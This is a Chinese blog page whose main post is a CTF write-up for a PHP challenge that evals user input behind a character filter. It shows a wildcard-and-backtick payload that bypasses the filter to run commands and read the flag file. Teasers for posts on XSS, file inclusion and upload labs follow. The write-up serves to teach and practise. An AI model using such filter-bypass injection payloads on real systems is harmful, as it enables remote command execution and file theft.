南溟丷

我想在那里最蓝的大海扬帆

0%

Web2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

审计代码,两个要求,长度不得超过35字节以及不得出现数字字符下划线和美元符号。

由于禁止使用美元符号,意味着无法引入变量,因此想到PHP的短标签和模板输出。

且在eval()函数中可以使用?>字符串提前闭合上一段<?php标签来更好的输出。

1
2
3
4
<?php
eval( '?> south <?php ' );
?>
# south

以及字母数字被过滤,故此可以使用通配符绕过。

1
2
ls /???/???
# /bin/cat /bin/ksh /bin/pwd /dev/fbt /dev/sdt /etc/rpc /bin/csh /bin/pax /bin/zsh /dev/pfm /dev/tty /usr/X11

由于是通配符,所以每个匹配到的文件都会被执行一次,因此时间会有些长。

以及使用反引号可以直接命令执行。

最终构造如下。

1
2
code=?><?=`/???/??? /????`;?>
# flag{aa5237a5fc25af3fa07f1d724f7548d7}

前言

XSS全称为跨站脚本攻击【Cross Site Scripting,为不与层叠样式表【Cascading Style Sheets, CSS缩写混淆,故此名为XSS

XSS恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

阅读全文 »

前言

本周任务是File Inclusion【文件包含。

文件包含漏洞简单来说就是在使用函数包含文件时,没有对传入的文件名进行有效的过滤,从而被利用包含了其他文件进来,导致服务器上文件信息的泄露甚至会被注入恶意代码。

文件包含分为LFI【本地文件包含与RFI【远程文件包含,字面意思,其中RFI需要PHP_ini开启url_allow_fopenurl_allow_include

阅读全文 »

运行环境

操作系统:WindowsLinux

php版本:推荐5.2.17【其他版本可能会导致部分Pass无法突破。

php组件:php_gd2、php_exif【部分Pass需要开启这两个组件。

apache:以moudel方式连接

阅读全文 »